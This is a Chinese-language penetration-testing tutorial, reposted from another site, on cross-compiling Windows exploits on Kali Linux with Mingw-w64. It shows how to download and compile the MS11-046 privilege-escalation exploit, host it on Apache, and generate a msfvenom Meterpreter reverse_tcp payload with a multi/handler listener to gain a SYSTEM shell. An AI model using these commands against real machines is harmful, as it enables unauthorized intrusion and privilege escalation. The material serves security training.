## 如何在Kali Linux上编译Windows漏洞
Mingw‑w64 是一个自由、开源的跨平台开发环境,专门用来生成 Windows 应用程序。最初它叫 Mingw32,只支持 32 位架构,后来才扩展到 64 位。本教程要聊的,就是怎么在 Kali Linux 上利用 Mingw‑w64 编译 Windows 漏洞利用程序。废话少说,先来安装它。
### 1、在Kali Linux上安装Mingw-w64
默认情况下,Kali Linux 2016.2 及更早版本是不带 Mingw‑w64 的,所以必须先手动装上才能玩。执行下面两条命令就行:
```
apt-get update
apt-get install mingw-w64
```

看到提示后输入 `y` 确认,接下来就是等待下载和安装完成,时间可能会有点长,视网速而定。
### 2、无法找到程序包mingw-w64的解决方法
有时候运气不好,安装时会碰到一个尴尬的错误:`E: Unable to locate package mingw-w64`。比如这样:
```
root@kali:~# apt-get install mingw-w64
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package mingw-w64
```
问题多半出在 `sources.list` 文件里——里面的软件源地址不对。用 nano 打开文件:
```
/etc/apt/sources.list
```
确认里面填的是正确的 Kali 源。不同版本的 Kali 对应的源可以在官方文档找到:
[http://docs.kali.org/general-use/kali-linux-sources-list-repositories](http://docs.kali.org/general-use/kali-linux-sources-list-repositories)
改好之后,先 `apt-get update`,再重新运行 `apt-get install mingw-w64`,一般就能顺利装上了。
### 3、用Mingw-w64交叉编译Windows漏洞利用
装好工具,接下来就是实战。这次我们拿一个经典的漏洞来练手——Windows 7 SP0 x86 上的 CVE‑2011‑1249(MS11‑046)。这个漏洞出在辅助功能驱动(AFD)里,允许已认证的非管理员用户提升权限。虽然 Mingw‑w64 是为 64 位设计的,但照样能编译 32 位的漏洞,正好拿它演示。
先从 Exploit‑db 把漏洞源码下载下来:
```
wget --output-document=40564.c https://www.exploit-db.com/download/40564
```
然后交叉编译成 32 位 Windows 可执行文件:
```
i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32
```

编译完成后,用 Kali 自带的 Apache 把这个 exploit 托管起来,方便目标主机下载。最后两条命令把 exploit 复制到 Apache 根目录并启动服务:
```
cp exploit.exe /var/www/html/
service apache2 start
```
在目标 Windows 7 上通过 cmd 下载并执行 exploit,效果如下:

注意看 `whoami` 命令的输出:执行 exploit 之前是普通用户,之后变成了 `SYSTEM`。而且这个漏洞利用是在当前 shell 中直接生成一个新的 shell,不是另开窗口,所以从命令行的 Meterpreter 里也能直接跑。
### 4、利用编译错误
跨平台编译时,错误几乎是家常便饭。原因多种多样:语法问题、缺少库、主机与目标架构不匹配、编译器版本不对等。有些错误改改就行,有些则比较棘手。另外要区分警告和致命错误——警告通常只是提示某些过时的写法,不影响最终利用;致命错误则会阻止编译,必须修复。
处理这些错误的最佳策略是:仔细读报错信息,然后丢到 Google 上搜。绝大多数时候你不是第一个踩坑的人,Stack Overflow 之类的网站已经给出了解决方案,没必要自己重新发明轮子。
### 5、从Meterpreter shell中利用MS11-046
先用 Msfvenom 快速生成一个 32 位 Windows Meterpreter 反向 TCP 载荷:
```
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=[攻击机IP] LPORT=4444 -e x86/shikata_ga_nai -f exe -o exploit.exe
```
记得把 `LHOST` 换成你自己的 Kali IP。接着启动 `msfconsole`,配置多处理器:
```
use exploit/multi/handler
set lhost [监听IP]
set lport 4444
run
```

然后让目标主机下载并执行这个 `exploit.exe`,如果一切顺利,msfconsole 上就会弹回一个 Meterpreter shell:

在 Meterpreter 里先输入 `shell` 进入命令行,然后运行之前编译好的权限提升漏洞,shell 级别直接升到 `SYSTEM`:

注意:这个漏洞是在当前 shell 里生成一个新的 system shell,所以旧 shell 的输出不会显示。你可以输入 `exit` 退出 system shell,返回到之前的用户 shell,就能看到漏洞利用输出的文字:

### 学到的东西
通过这个教程,我们掌握了在 Linux 上交叉编译 Windows 漏洞的基本流程:安装 Mingw‑w64、解决常见的源问题、实际编译一个 MS11‑046 漏洞,并在目标主机上成功执行,把普通用户 shell 提升到了 system 级别。同时也知道了,这类漏洞会在当前 shell 内部生成一个新 shell,所以从 Meterpreter 这样的命令行 shell 里也能直接调用。最后,我们还聊了怎么应对编译中遇到的错误——大多数情况搜一搜就能解决。交叉编译并没那么神秘,动手试试就能摸清门道。
本文转载于:https://www.jb51.net/os/other/545317.html 如有侵犯,请联系zhengruancom@outlook.com删除。
免责声明:正软商城发布此文仅为传递信息,不代表正软商城认同其观点或证实其描述。